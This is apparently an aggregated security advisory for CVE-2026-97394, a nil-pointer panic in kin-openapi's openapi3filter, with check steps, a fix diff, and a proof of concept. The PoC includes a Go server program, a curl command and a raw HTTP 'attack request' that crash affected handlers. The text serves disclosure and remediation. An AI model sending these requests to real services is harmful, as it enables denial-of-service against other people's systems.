---
id: "CVE-2026-97394"
page: "https://infrastack.ai/live/CVE-2026-97394"
kind: "vulnerability"
aliases: ["CVE-2026-97394", "GHSA-p6wj-qrr4-pgh5", "GO-2026-6790"]
title: "kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items"
severity: "high"
cvss: 7.5
epss: 0.00615
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/getkin/kin-openapi", "fixed": ["0.143.0"], "affected": ">= 0.136.0, < 0.143.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-248", "cwe-476", "go", "kin-openapi", "openapi3filter", "package"]
not_affected_if: ["openapi3filter-unused", "version-0.143.0-or-later", "version-below-0.136.0"]
published_at: "2026-10-15T16:18:25+00:00"
first_seen_at: "2026-11-06T00:09:05+00:00"
updated_at: "2026-11-06T00:19:08+00:00"
sources: [{"source": "govuln", "url": "https://pkg.go.dev/vuln/GO-2026-6790", "first_seen_at": "2026-11-06T00:09:05+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97394", "first_seen_at": "2026-11-06T00:19:01+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-p6wj-qrr4-pgh5", "first_seen_at": "2026-11-06T00:19:08+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00615, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-97394"}]
---

# kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items

Link for people: https://infrastack.ai/live/CVE-2026-97394 (this .md is for agents)

kin-openapi is a Go library for OpenAPI specifications, and its openapi3filter package dereferences a nil pointer when an OpenAPI 3.1 array schema has no items. An attacker who can get such a schema processed causes a panic, which crashes the process.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/getkin/kin-openapi affected >= 0.136.0, < 0.143.0 fixed 0.143.0

## How to check

- Look for `github.com/getkin/kin-openapi` in `go.mod` and check the version listed.
- Check whether the service uses the `openapi3filter` package to validate requests.
- Run `go list -m github.com/getkin/kin-openapi` to see the resolved version.

## Fix

- `github.com/getkin/kin-openapi` `0.143.0`

## Timeline

- 2026-11-06T00:09:05+00:00 govuln https://pkg.go.dev/vuln/GO-2026-6790
- 2026-11-06T00:19:01+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-97394
- 2026-11-06T00:19:08+00:00 ghsa https://github.com/advisories/GHSA-p6wj-qrr4-pgh5

## Documents

- [advisory] Vendor advisory: github.com https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5
- [advisory] Vendor advisory: github.com https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf
- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-p6wj-qrr4-pgh5
- [fix] Patch: github.com https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d
- [fix] Release notes: github.com https://github.com/getkin/kin-openapi/releases/tag/v0.143.0

## From the sources

### Summary

A nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.

### Details

**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.

**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):

```go
case propType.Is("array"):
    items := propSchema.Value.Items.Value  // Items == nil → panic
```

This runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).

The same nil `Items` also crashes:

| Path | Location | Trigger |
|---|---|---|
| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property |
| `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |

`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.

**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:

```diff
 case propType.Is("array"):
+	if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+		return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+	}
 	items := propSchema.Value.Items.Value
```

Apply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.

### PoC

Verified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.

**1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:

```yaml
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
```

**2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:

```go
package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		log.Fatal(err)
	}
	if err := doc.Validate(loader.Context); err != nil {
		log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
	}
	fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
		Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		log.Fatal(err)
	}

	// Direct call (no net/http recover): proves the library itself panics.
	req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pp, _ := router.FindRoute(req)
	func() {
		defer func() {
			if r := recover(); r != nil {
				fmt.Printf("DIRECT_PANIC: %v\n", r)
			}
		}()
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pp, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		fmt.Println("DIRECT_PANIC: none (unexpected)")
	}()

	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte("ok\n"))
	})

	addr := "127.0.0.1:8085"
	fmt.Printf("listening on http://%s/f\n", addr)
	fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
	log.Fatal(http.ListenAndServe(addr, mux))
}
```

**3. Observed output** (`go run .`):

```
SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f
```

Then:

```
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f
```

Server log:

```
http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …
```

Stack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` → `ValidateRequestBody` → `decodeBody`.

**Attack request:**

```
POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded

tags=a
```

(Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.)

**4. Regression / multi-surface test suite** — save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`:

```go
package openapi3filter_test

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"github.com/stretchr/testify/require"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:


---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
